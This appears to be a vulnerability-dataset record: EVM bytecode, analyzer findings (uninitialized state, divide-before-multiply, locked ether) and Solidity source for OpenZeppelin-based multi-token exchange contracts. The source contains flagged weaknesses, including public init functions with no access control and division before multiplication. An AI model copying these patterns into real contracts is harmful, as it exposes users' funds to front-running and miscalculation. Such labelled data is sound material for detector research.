1916600019168152602001915050602060405180830381600087803b15801561099457600080fd5b505af11580156109a8573d6000803e3d6000fd5b505050506040513d60208110156109be57600080fd5b81019080805190602001909291905050509850600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16633e49bed08b8d8c016040518363ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180836000191660001916815260200182815260200192505050600060405180830381600087803b158015610a7457600080fd5b505af1158015610a88573d6000803e3d6000fd5b505050507f0b60713a2474e591bb0e07cf4b923ce5faf698c3432ac8de5ff108b7552452aa610ab68f612aa4565b8c33604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001806020018581526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001838103835260098152602001807f434f4e5645525445520000000000000000000000000000000000000000000000815250602001838103825260088152602001807f4d4f4e45544152590000000000000000000000000000000000000000000000008152506020019550505050505060405180910390a1610baf8e8d612bc0565b975060009650600188510395508594505b600085121515610fc557606060405190810160405280602e81526020017f706c61736d6141646472657373327265666572726572476c6f62616c5265707581526020017f746174696f6e53636f72655765690000000000000000000000000000000000008152508886815181101515610c3557fe5b906020019060200201516040518083805190602001908083835b602083101515610c745780518252602082019150602081019050602083039250610c4f565b6001836020036101000a0380198251168184511680821785525050505050509050018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014019250505060405180910390209350600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663dc97d962856040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808260001916600019168152602001915050602060405180830381600087803b158015610d7e57600080fd5b505af1158015610d92573d6000803e3d6000fd5b505050506040513d6020811015610da857600080fd5b81019080805190602001909291905050509250600187018b811515610dc957fe5b059150600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16633e49bed0858486016040518363ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180836000191660001916815260200182815260200192505050600060405180830381600087803b158015610e6f57600080fd5b505af1158015610e83573d6000803e3d6000fd5b505050507f0b60713a2474e591bb0e07cf4b923ce5faf698c3432ac8de5ff108b7552452aa8886815181101515610eb657fe5b906020019060200201518333604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001806020018581526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001838103835260088152602001807f5245464552524552000000000000000000000000000000000000000000000000815250602001838103825260088152602001807f4d4f4e45544152590000000000000000000000000000000000000000000000008152506020019550505050505060405180910390a18680600101975050848060019003955050610bc0565b5050505050505050505050505050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080600061100984611db6565b809250819350505080820192505050919050565b6000806000806000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663db7a6d906040805190810160405280600e81526020017f54776f4b657952656769737472790000000000000000000000000000000000008152506040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018080602001828103825283818151815260200191508051906020019080838360005b838110156111045780820151818401526020810190506110e9565b50505050905090810190601f1680156111315780820380516001836020036101000a031916815260200191505b5092505050602060405180830381600087803b15801561115057600080fd5b505af1158015611164573d6000803e3d6000fd5b505050506040513d602081101561117a57600080fd5b810190808051906020019092919050505093508373ffffffffffffffffffffffffffffffffffffffff1663b8397065876040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15801561122857600080fd5b505af115801561123c573d6000803e3d6000fd5b505050506040513d602081101561125257600080fd5b81019080805190602001909291905050509250606060405190810160405280602a81526020017f6164647265737332636f6e74726163746f72476c6f62616c526570757461746981526020017f6f6e53636f726557656900000000000000000000000000000000000000000000815250836040518083805190602001908083835b6020831015156112f857805182526020820191506020810190506020830392506112d3565b6001836020036101000a0380198251168184511680821785525050505050509050018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014019250505060405180910390209150600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663dc97d962836040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808260001916600019168152602001915050602060405180830381600087803b15801561140257600080fd5b505af1158015611416573d6000803e3d6000fd5b505050506040513d602081101561142c57600080fd5b8101908080519060200190929190505050905080945050505050919050565b600080600060606000806000806000806114996040805190810160405280601781526020017f54776f4b657943616d706169676e56616c696461746f720000000000000000008152506125b3565b9050600115158173ffffffffffffffffffffffffffffffffffffffff166371c6a34f336040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15801561153a57600080fd5b505af115801561154e573d6000803e3d6000fd5b505050506040513d602081101561156457600080fd5b8101908080519060200190929190505050151514151561158357600080fd5b674563918244f4000099506115988c8b612d04565b606060405190810160405280602981526020017f6164647265737332636f6e766572746572476c6f62616c52657075746174696f81526020017f6e53636f726557656900000000000000000000000000000000000000000000008152508d6040518083805190602001908083835b60208310151561162b5780518252602082019150602081019050602083039250611606565b6001836020036101000a0380198251168184511680821785525050505050509050018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014019250505060405180910390209850600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663dc97d9628a6040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808260001916600019168152602001915050602060405180830381600087803b15801561173557600080fd5b505af1158015611749573d6000803e3d6000fd5b505050506040513d602081101561175f57600080fd5b81019080805190602001909291905050509750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16633e49bed08a8c8b036040518363ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180836000191660001916815260200182815260200192505050600060405180830381600087803b15801561181557600080fd5b505af1158015611829573d6000803e3d6000fd5b505050507f0b60713a2474e591bb0e07cf4b923ce5faf698c3432ac8de5ff108b7552452aa6118578e612aa4565b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8c0233604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001806020018581526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001838103835260098152602001807f434f4e5645525445520000000000000000000000000000000000000000000000815250602001838103825260088152602001807f4d4f4e45544152590000000000000000000000000000000000000000000000008152506020019550505050505060405180910390a16119728d8c612bc0565b965060009550600187510394505b600085121515611da757606060405190810160405280602e81526020017f706c61736d6141646472657373327265666572726572476c6f62616c5265707581526020017f746174696f6e53636f726557656900000000000000000000000000000000000081525087868151811015156119f557fe5b906020019060200201516040518083805190602001908083835b602083101515611a345780518252602082019150602081019050602083039250611a0f565b6001836020036101000a0380198251168184511680821785525050505050509050018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014019250505060405180910390209350600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663dc97d962856040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808260001916600019168152602001915050602060405180830381600087803b158015611b3e57600080fd5b505af1158015611b52573d6000803e3d6000fd5b505050506040513d6020811015611b6857600080fd5b81019080805190602001909291905050509250600186018a811515611b8957fe5b059150600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16633e49bed0858486036040518363ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180836000191660001916815260200182815260200192505050600060405180830381600087803b158015611c2f57600080fd5b505af1158015611c43573d6000803e3d6000fd5b505050507f0b60713a2474e591bb0e07cf4b923ce5faf698c3432ac8de5ff108b7552452aa8786815181101515611c7657fe5b906020019060200201517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff840233604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001806020018581526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001838103835260088152602001807f5245464552524552000000000000000000000000000000000000000000000000815250602001838103825260088152602001807f4d4f4e45544152590000000000000000000000000000000000000000000000008152506020019550505050505060405180910390a18580600101965050848060019003955050611980565b50505050505050505050505050565b600080600080600080600080600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663db7a6d906040805190810160405280600e81526020017f54776f4b657952656769737472790000000000000000000000000000000000008152506040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611ea1578082015181840152602081019050611e86565b50505050905090810190601f168015611ece5780820380516001836020036101000a031916815260200191505b5092505050602060405180830381600087803b158015611eed57600080fd5b505af1158015611f01573d6000803e3d6000fd5b505050506040513d6020811015611f1757600080fd5b810190808051906020019092919050505095508573ffffffffffffffffffffffffffffffffffffffff1663b83970658a6040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b158015611fc557600080fd5b505af1158015611fd9573d6000803e3d6000fd5b505050506040513d6020811015611fef57600080fd5b81019080805190602001909291905050509450606060405190810160405280602981526020017f6164647265737332636f6e766572746572476c6f62616c52657075746174696f81526020017f6e53636f72655765690000000000000000000000000000000000000000000000815250856040518083805190602001908083835b6020831015156120955780518252602082019150602081019050602083039250612070565b6001836020036101000a0380198251168184511680821785525050505050509050018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014019250505060405180910390209350600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663dc97d962856040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808260001916600019168152602001915050602060405180830381600087803b15801561219f57600080fd5b505af11580156121b3573d6000803e3d6000fd5b505050506040513d60208110156121c957600080fd5b81019080805190602001909291905050509250606060405190810160405280602e81526020017f706c61736d6141646472657373327265666572726572476c6f62616c5265707581526020017f746174696f6e53636f7265576569000000000000000000000000000000000000815250896040518083805190602001908083835b60208310151561226f578051825260208201915060208101905060208303925061224a565b6001836020036101000a0380198251168184511680821785525050505050509050018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014019250505060405180910390209150600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663dc97d962836040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808260001916600019168152602001915050602060405180830381600087803b15801561237957600080fd5b505af115801561238d573d6000803e3d6000fd5b505050506040513d60208110156123a357600080fd5b81019080805190602001909291905050509050828197509750505050505050915091565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b606060006060600084519250826040519080825280602002602001820160405280156124525781602001602082028038833980820191505090505b509150600090505b828110156124ab57612482858281518110151561247357fe5b9060200190602002015161101d565b828281518110151561249057fe5b9060200190602002018181525050808060010191505061245a565b819350505050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561251157600080fd5b50565b6060600060606000845192508260405190808252806020026020018201604052801561254f5781602001602082028038833980820191505090505b509150600090505b828110156125a85761257f858281518110151561257057fe5b90602001906020020151610ffb565b828281518110151561258d57fe5b90602001906020020181815250508080600101915050612557565b819350505050919050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663db7a6d90836040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561265f578082015181840152602081019050612644565b50505050905090810190601f16801561268c5780820380516001836020036101000a031916815260200191505b5092505050602060405180830381600087803b1580156126ab57600080fd5b505af11580156126bf573d6000803e3d6000fd5b505050506040513d60208110156126d557600080fd5b81019080805190602001909291905050509050919050565b600080606060405190810160405280602a81526020017f6164647265737332636f6e74726163746f72476c6f62616c526570757461746981526020017f6f6e53636f726557656900000000000000000000000000000000000000000000815250846040518083805190602001908083835b602083101515612783578051825260208201915060208101905060208303925061275e565b6001836020036101000a0380198251168184511680821785525050505050509050018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014019250505060405180910390209150600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663dc97d962836040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808260001916600019168152602001915050602060405180830381600087803b15801561288d57600080fd5b505af11580156128a1573d6000803e3d6000fd5b505050506040513d60208110156128b757600080fd5b81019080805190602001909291905050509050600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16633e49bed0838584016040518363ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180836000191660001916815260200182815260200192505050600060405180830381600087803b15801561296d57600080fd5b505af1158015612981573d6000803e3d6000fd5b505050507f0b60713a2474e591bb0e07cf4b923ce5faf698c3432ac8de5ff108b7552452aa6129af85612aa4565b8433604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001806020018581526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018381038352600a8152602001807f434f4e54524143544f5200000000000000000000000000000000000000000000815250602001838103825260088152602001807f4d4f4e45544152590000000000000000000000000000000000000000000000008152506020019550505050505060405180910390a150505050565b6000612ae46040805190810160405280600e81526020017f54776f4b657952656769737472790000000000000000000000000000000000008152506125b3565b73ffffffffffffffffffffffffffffffffffffffff1663edab0437836040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b158015612b7e57600080fd5b505af1158015612b92573d6000803e3d6000fd5b505050506040513d6020811015612ba857600080fd5b81019080805190602001909291905050509050919050565b60606000612bcd83612d34565b90508073ffffffffffffffffffffffffffffffffffffffff1663df65845a856040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050600060405180830381600087803b158015612c6a57600080fd5b505af1158015612c7e573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f820116820180604052506020811015612ca857600080fd5b810190808051640100000000811115612cc057600080fd5b82810190506020810184811115612cd657600080fd5b8151856020820283011164010000000082111715612cf357600080fd5b505092919050505091505092915050565b612d30827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff83026126ed565b5050565b60008173ffffffffffffffffffffffffffffffffffffffff166308c043066040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b158015612d9a57600080fd5b505af1158015612dae573d6000803e3d6000fd5b505050506040513d6020811015612dc457600080fd5b810190808051906020019092919050505090509190505600a165627a7a7230582073ed672d3cd93dd1de22313ad33653ba812e2b2df5c445a2cfa80452d8ea38480029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 8,717 |
0x270aac03fdee71f4a589890e51f070ee719b9fe5
|
pragma solidity ^0.4.24;
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
// File: openzeppelin-solidity/contracts/token/ERC20/DetailedERC20.sol
/**
* @title DetailedERC20 token
* @dev The decimals are only for visualization purposes.
* All the operations are done using the smallest and indivisible token unit,
* just as on Ethereum all the operations are done in wei.
*/
contract DetailedERC20 is ERC20 {
string public name;
string public symbol;
uint8 public decimals;
constructor(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
}
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/BasicToken.sol
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/StandardToken.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
// File: contracts/BasicMultiToken.sol
contract BasicMultiToken is StandardToken, DetailedERC20 {
ERC20[] public tokens;
event Mint(address indexed minter, uint256 value);
event Burn(address indexed burner, uint256 value);
constructor() public DetailedERC20("", "", 0) {
}
function init(ERC20[] _tokens, string _name, string _symbol, uint8 _decimals) public {
require(decimals == 0, "init: contract was already initialized");
require(_decimals > 0, "init: _decimals should not be zero");
require(bytes(_name).length > 0, "init: _name should not be empty");
require(bytes(_symbol).length > 0, "init: _symbol should not be empty");
require(_tokens.length >= 2, "Contract do not support less than 2 inner tokens");
name = _name;
symbol = _symbol;
decimals = _decimals;
tokens = _tokens;
}
function mintFirstTokens(address _to, uint256 _amount, uint256[] _tokenAmounts) public {
require(totalSupply_ == 0, "This method can be used with zero total supply only");
_mint(_to, _amount, _tokenAmounts);
}
function mint(address _to, uint256 _amount) public {
require(totalSupply_ != 0, "This method can be used with non zero total supply only");
uint256[] memory tokenAmounts = new uint256[](tokens.length);
for (uint i = 0; i < tokens.length; i++) {
tokenAmounts[i] = tokens[i].balanceOf(this).mul(_amount).div(totalSupply_);
}
_mint(_to, _amount, tokenAmounts);
}
function burn(uint256 _value) public {
burnSome(_value, tokens);
}
function burnSome(uint256 _value, ERC20[] someTokens) public {
require(someTokens.length > 0, "Array of tokens can't be empty");
uint256 totalSupply = totalSupply_;
balances[msg.sender] = balances[msg.sender].sub(_value);
totalSupply_ = totalSupply.sub(_value);
emit Burn(msg.sender, _value);
emit Transfer(msg.sender, address(0), _value);
for (uint i = 0; i < someTokens.length; i++) {
uint256 prevBalance = someTokens[i].balanceOf(this);
uint256 tokenAmount = prevBalance.mul(_value).div(totalSupply);
someTokens[i].transfer(msg.sender, tokenAmount); // Can't use require because not all ERC20 tokens return bool
require(someTokens[i].balanceOf(this) == prevBalance.sub(tokenAmount), "Invalid token behavior");
}
}
function _mint(address _to, uint256 _amount, uint256[] _tokenAmounts) internal {
require(tokens.length == _tokenAmounts.length, "Lenghts of tokens and _tokenAmounts array should be equal");
for (uint i = 0; i < tokens.length; i++) {
uint256 prevBalance = tokens[i].balanceOf(this);
tokens[i].transferFrom(msg.sender, this, _tokenAmounts[i]); // Can't use require because not all ERC20 tokens return bool
require(tokens[i].balanceOf(this) == prevBalance.add(_tokenAmounts[i]), "Invalid token behavior");
}
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
}
function allTokens() public view returns(ERC20[]) {
return tokens;
}
function allBalances() public view returns(uint256[]) {
uint256[] memory balances = new uint256[](tokens.length);
for (uint i = 0; i < tokens.length; i++) {
balances[i] = tokens[i].balanceOf(this);
}
return balances;
}
}
// File: contracts/ERC228.sol
interface ERC228 {
function changeableTokenCount() external view returns (uint16 count);
function changeableToken(uint16 _tokenIndex) external view returns (address tokenAddress);
function getReturn(address _fromToken, address _toToken, uint256 _amount) external view returns (uint256 returnAmount);
function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) external returns (uint256 returnAmount);
event Update();
event Change(address indexed _fromToken, address indexed _toToken, address indexed _changer, uint256 _amount, uint256 _return);
}
// File: contracts/MultiToken.sol
contract MultiToken is BasicMultiToken, ERC228 {
mapping(address => uint256) public weights;
function init(ERC20[] _tokens, uint256[] _weights, string _name, string _symbol, uint8 _decimals) public {
super.init(_tokens, _name, _symbol, _decimals);
require(_weights.length == tokens.length, "Lenghts of _tokens and _weights array should be equal");
for (uint i = 0; i < tokens.length; i++) {
require(_weights[i] != 0, "The _weights array should not contains zeros");
require(weights[tokens[i]] == 0, "The _tokens array have duplicates");
weights[tokens[i]] = _weights[i];
}
}
function init2(ERC20[] _tokens, uint256[] _weights, string _name, string _symbol, uint8 _decimals) public {
init(_tokens, _weights, _name, _symbol, _decimals);
}
function changeableTokenCount() public view returns (uint16 count) {
count = uint16(tokens.length);
}
function changeableToken(uint16 _tokenIndex) public view returns (address tokenAddress) {
tokenAddress = tokens[_tokenIndex];
}
function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns(uint256 returnAmount) {
if (weights[_fromToken] > 0 && weights[_toToken] > 0 && _fromToken != _toToken) {
uint256 fromBalance = ERC20(_fromToken).balanceOf(this);
uint256 toBalance = ERC20(_toToken).balanceOf(this);
returnAmount = toBalance.mul(_amount).mul(weights[_fromToken]).div(weights[_toToken]).div(fromBalance.add(_amount));
}
}
function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns(uint256 returnAmount) {
returnAmount = getReturn(_fromToken, _toToken, _amount);
require(returnAmount > 0, "The return amount is zero");
require(returnAmount >= _minReturn, "The return amount is less than _minReturn value");
uint256 fromBalance = ERC20(_fromToken).balanceOf(this);
ERC20(_fromToken).transferFrom(msg.sender, this, _amount);
require(ERC20(_fromToken).balanceOf(this) == fromBalance + _amount);
uint256 toBalance = ERC20(_toToken).balanceOf(this);
ERC20(_toToken).transfer(msg.sender, returnAmount);
require(ERC20(_toToken).balanceOf(this) == toBalance - returnAmount);
emit Change(_fromToken, _toToken, msg.sender, _amount, returnAmount);
}
function changeOverERC228(address _fromToken, address _toToken, uint256 _amount, address exchange) public returns(uint256 returnAmount) {
returnAmount = getReturn(_fromToken, _toToken, _amount);
require(returnAmount > 0, "The return amount is zero");
uint256 fromBalance = ERC20(_fromToken).balanceOf(this);
ERC20(_toToken).approve(exchange, returnAmount);
ERC228(exchange).change(_toToken, _fromToken, returnAmount, _amount);
uint256 realReturnAmount = ERC20(_fromToken).balanceOf(this).sub(fromBalance);
require(realReturnAmount >= _amount);
if (realReturnAmount > _amount) {
uint256 reward = realReturnAmount.sub(_amount);
ERC20(_fromToken).transfer(msg.sender, reward); // Arbiter reward
require(ERC20(_fromToken).balanceOf(this) == fromBalance.add(_amount));
}
emit Change(_fromToken, _toToken, msg.sender, _amount, returnAmount);
}
function allWeights() public view returns(uint256[]) {
uint256[] memory result = new uint256[](tokens.length);
for (uint i = 0; i < tokens.length; i++) {
result[i] = weights[tokens[i]];
}
return result;
}
}
// File: contracts/FeeMultiToken.sol
contract FeeMultiToken is MultiToken {
function init(ERC20[] _tokens, uint256[] _weights, string _name, string _symbol, uint8 _decimals) public {
super.init(_tokens, _weights, _name, _symbol, 18);
}
function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns(uint256 returnAmount) {
returnAmount = super.getReturn(_fromToken, _toToken, _amount).mul(998).div(1000); // 0.2% exchange fee
}
}
// File: contracts/registry/IDeployer.sol
interface IDeployer {
function deploy(bytes data) external returns(address mtkn);
}
// File: contracts/registry/MultiTokenDeployer.sol
contract MultiTokenDeployer is IDeployer {
function deploy(bytes data) external returns(address mtkn) {
require(
// init(address[],uint256[],string,string,uint8)
(data[0] == 0x6f && data[1] == 0x5f && data[2] == 0x53 && data[3] == 0x5d) ||
// init2(address[],uint256[],string,string,uint8)
(data[0] == 0x18 && data[1] == 0x2a && data[2] == 0x54 && data[3] == 0x15)
);
mtkn = new FeeMultiToken();
require(mtkn.call(data));
}
}
|
